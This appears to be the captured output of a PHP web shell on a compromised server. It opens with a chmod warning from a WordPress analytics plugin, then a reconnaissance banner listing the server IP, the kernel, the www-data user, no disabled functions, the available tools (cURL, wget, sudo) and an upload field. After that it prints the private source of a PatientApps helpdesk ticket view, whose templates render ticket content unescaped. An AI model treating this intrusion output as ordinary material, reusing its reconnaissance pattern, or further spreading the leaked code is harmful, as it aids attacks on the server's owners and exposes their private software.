Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_support/modules/ticket/view/ |
Upload File : |
<?php
class tix_view extends View {
public function __construct() {
parent::__construct();
$this->level = isset($_SESSION['current_user']) ? $_SESSION['current_user']['u_level'] : 0;
$this->user_id = isset($_SESSION['current_user']) ? $_SESSION['current_user']['u_id'] : 0;
}
private $initialized = FALSE;
private function _init() {
if ($this->initialized) return;
$this->initialized = TRUE; // <i class="fas fa-times"></i>
$html = <<<'BLOCK'
{{#ifeq type "icon"}}
<div class="attach-item Y0d3P"><div role="option" aria-label="{{filename}} Open {{size}}" tabindex="0" class="GpKSR C1V5C WM3Zr ERPBZ bK9dl{{#if draft}} draft{{/if}}"><div draggable="true"><div class="feh0T">
<div class="JA9Uf YyULm" href="/~/ticket/image/{{item}}/{{hash}}">{{{icon}}}<div class="uDIro"><div class="">
<div class="VlyYV rqgqz PQeLQ QEiYT" title="{{filename}}">{{filename}}</div>
<div title="{{size}}"><span class="secondLineCommonStyleDensity rc4Lo QxTLU puwJz QEiYT">{{size}}</span></div>
</div></div></div>
{{#if draft}}
<div class="o4euS"><button type="button" aria-label="Remove Upload" aria-haspopup="false" aria-expanded="false" title="Remove Upload" class="ms-Button ms-Button--icon WQ1jB H_URL sF_gJ dUIui root-159 json-request" href="/helpdesk/ticket/{{ticketnum}}/remove?hash={{hash}}" data-is-focusable="true" ><i class="fas fa-times"></i></button></div>
{{else}}
<div class="o4euS"><button type="button" aria-label="More actions" aria-haspopup="true" aria-expanded="false" title="More actions" class="ms-Button ms-Button--icon WQ1jB H_URL sF_gJ dUIui root-159" data-is-focusable="true"><i class="fas fa-chevron-down"></i></button></div>
{{/if}}
</div></div></div></div>
{{/ifeq}}{{#ifeq type "file"}}
<div class="attach-item Y0d3P"><div role="option" aria-label="Drag a file here to attach to this ticket" tabindex="0" class="GpKSR C1V5C WM3Zr ERPBZ tX5d9"><div draggable="true"><div class="feh0T">
<div class="bind-droparea droparea">
<input type="file" name="attach" data-post="/helpdesk/ticket/{{ticketnum}}/attach">
</div>
</div></div></div></div>
{{/ifeq}}
BLOCK;
$this('tix_fileitem')
->html($html)
->macro('tix_fileitem'); // this is a partial
$html = <<<'BLOCK'
{{#each attachment}}
{{> tix_fileitem ticketnum=@root/number}}
{{/each}}
BLOCK;
$this('tix_filegroup')->html($html);
}
function tix_request() {
$macro = hook_execute('component.add', '', 'formedit');
$button = hook_execute_late('html.button', '', 'Submit Request', '', 'cc-blue');
$html = <<<BLOCK
<h3>{{page_title}}</h3>
<p>If you have a problem with your PatientApps account or a Procedure Guide, you can use this form to request help.{{#unless user.level}} Please log in if you have previously submitted a request.{{/unless}}</p>
<form class="frm json block-white" method="post">
$macro
<div class="form-actions right"><a class="submit" href="#">$button</a></div>
<br /><br />
</form>
BLOCK;
$this('tix_request')->html($html)->title('Request Form');
}
// overdue?
function tix_index() {
$html = <<<'BLOCK'
<div style="max-width: 800px">{{#compare user.level '>=' 9}}
<h4>Unallocated:</h4>
<table id="table_new" class="display data-class" ajax="/helpdesk/list/new">
<thead>
<tr><th>Ticket</th><th>Date</th><th>Client</th><th>Subject</th><th>Status</th></tr>
</thead>
</table>
<h4>Open Tickets</h4>
<table id="table_open" class="display data-class" ajax="/helpdesk/list/open">
<thead>
<tr><th>Ticket</th><th>Date</th><th>Client</th><th>Subject</th><th>Status</th></tr>
</thead>
</table>
{{else}}
<h4>Your Requests</h4>
<table id="table_request" class="display data-class" ajax="/helpdesk/list/request">
<thead>
<tr><th>Date</th><th>Ticket</th><th>Subject</th><th>Status</th></tr>
</thead>
</table>
{{/compare}}
<div>
<a href="/helpdesk/history">ticket history</a> | <a href="/helpdesk/request">create a ticket</a>
</div>
</div>
BLOCK;
$this('tix_index')->html($html)->title('Helpdesk');
}
function tix_success() {
$html = <<<'BLOCK'
<h3>{{page_title}}</h3>
<p>Your request has been received, and a confirmation emailed to you. Plese refer to the email for further information.</p>
BLOCK;
$this('tix_success')->html($html)->title('Thank You');
}
public function email_created() {
$body = <<<'BLOCK'
<p>{{placeholder}}</p>
<hr>
<p>We have received your help request. To view the ticket status, or to supply extra information, please use the link below. You may also reply to this email, adding attachments if you wish.</p>
<p>Link to the ticket: <a href="{{link}}?auth={{auth}}">{{ticketnum}}</a><p>
<hr>
BLOCK;
return ['title' => 'Request for Support',
'subject' => '[{{ticketnum}}] Request for Support',
'body' => $body];
}
public function email_reply() {
$body = <<<'BLOCK'
<p>{{placeholder}}</p>
{{#if text}}<pre>{{content}}
</pre>{{else}}
{{{content}}}
{{/if}}
<hr>
<p>This is a response to your ticket <a href="{{link}}?auth={{auth}}">{{ticketnum}}</a>.<p>
BLOCK;
return [
'title' => 'Request for Support - Reply',
'subject' => '[{{ticketnum}}] {{subject}}',
'body' => $body,
];
}
function tix_detail_user() {
$this->_init();
$button = hook_execute_late('html.button', '', 'Update Ticket', '', 'cc-blue');
$html = <<<BLOCK
<div class="tix-title">{{number}}<span> {{subject}}</span></div>
<form method="post" class="frm" enctype="multipart/form-data">
<input type="hidden" name="action" id="hiddenaction">
<div class="ticket-item block-white">
Subject: <b>{{subject}}</b><br>
Priority: <b>{{priority_desc}}</b><br>
{{#if project_desc}}
Project: <b>{{project_desc}}</b><br>
{{/if}}
Assigned to/date<br>
Created by/date<br>
last modified<br>
{{#if status_desc}}
Status: <b>{{status_desc}}</b><br>
{{/if}}
</div>
<br>
<h4>Description:</h4>
{{#with desc}}<div class="ticket-item block-white">
{{#if text}}<pre>{{content}}
</pre>{{else}}
{{{content}}}
{{/if}}
</div>{{/with}}
<br>
<h4>Update this Ticket:</h4>
<div class="ticket-item block-white">
<div class="control-group cf-message">
<label for="message">Message</label>
<div class="controls"><textarea id="message" name="message"></textarea></div>
</div>
<div class="form-actions right">
<a class="submit" for="hiddenaction" data-value="update" href="#">$button</a>
</div>
</div>
<br>
{{#if history}}
<h4>History:</h4>
{{#each history}}<div class="ticket-item block-white">
{{#if text}}<pre>{{content}}
</pre>{{else}}
{{{content}}}
{{/if}}{{#if author}}
<div class="tix-ref"><span class="tix-auth">{{author}}</span> <span class="bind-datetime" data-val="{{date}}"></span></div>
{{/if}}
</div>{{/each}}
<br>
{{/if}}
{{#if attachment}}
<h4>Attachments:</h4>
<div id="attaches" class="ticket-item attach-container">
{{#each attachment}}
{{> tix_fileitem}}
{{/each}}
</div>
<p><em>Uploaded attachments with the red border will not be saved until the ticket is updated.</em></p>
<br>
{{/if}}
BLOCK;
// drag/drop new attachments
// media viewer?
$this('tix_detail')->html($html);
}
function tix_detail_staff() {
$this->_init();
$buttone = hook_execute_late('html.button', '', 'Email Client', '', 'cc-red');
$buttonc = hook_execute_late('html.button', '', 'Add Comment', '', 'cc-green');
// we have no reason to edit the subject
// Subject: <b class="bind-editable" data-category="ticket" data-type="input" data-field="subject" href="/helpdesk/ticket/{{number}}">{{subject}}</b><br>
$html = <<<BLOCK
<div class="tix-title">{{number}}<span> {{subject}}</span></div>
[action buttons: edit, workflow, assignto, left/right/up]<br>
<form method="post" class="frm" enctype="multipart/form-data">
<input type="hidden" name="action" id="hiddenaction">
<div class="ticket-item block-white">
Subject: <b>{{subject}}</b><br>
Priority: <b>{{priority_desc}}</b><br>
Project: <b class="bind-editable" data-category="ticket" data-type="select3" data-field="project" data-value="{{project}}" href="/helpdesk/ticket/{{number}}">{{project_desc}}</b><br>
Assigned to/date<br>
Created by/date<br>
last modified<br>
Status: <b class="bind-editable" data-category="ticket" data-type="select" data-field="status" data-value="{{status}}" href="/helpdesk/ticket/{{number}}">{{status_desc}}</b><br>
</div>
<br>
<h4>Description:</h4>
{{#with desc}}<div class="ticket-item block-white">
{{#if text}}<pre>{{content}}
</pre>{{else}}
{{{content}}}
{{/if}}
</div>{{/with}}
<br>
<h4>Update this Ticket:</h4>
<div class="ticket-item block-white">
<div class="control-group cf-message">
<label for="message">Message</label>
<div class="controls"><textarea id="message" name="message"></textarea></div>
</div>
<div class="form-actions right">
<a class="submit" for="hiddenaction" data-value="comment" href="#" title="Comments are not seen by the client">$buttonc</a>
<a class="submit" for="hiddenaction" data-value="email" href="#" title="This message will be emailed to the client">$buttone</a>
</div>
</div>
<br>
{{#if history}}
<h4>History:</h4>
{{#each history}}<div class="ticket-item block-white doctype-{{doctype}}">
{{#if text}}<pre>{{content}}
</pre>{{else}}
{{{content}}}
{{/if}}{{#if author}}
<div class="tix-ref"><span class="tix-auth">{{author}}</span> <span class="bind-datetime" data-val="{{date}}"></span></div>
{{/if}}
</div>{{/each}}
<br>
{{/if}}
{{#if attachment}}
<h4>Attachments:</h4>
<div id="attaches" class="ticket-item attach-container">
{{#each attachment}}
{{> tix_fileitem self=self ticketnum=@root/number}}
{{/each}}
</div>
<p><em>Uploaded attachments with the red border will not be saved until the ticket is updated.</em></p>
<br>
{{/if}}
BLOCK;
// drag/drop new attachments
// media viewer?
$this('tix_detail')->html($html);
}
// edit - update header
function tix_detail() {
if ($this->level < 3) {
$this->tix_detail_user();
} else {
$this->tix_detail_staff();
}
}
}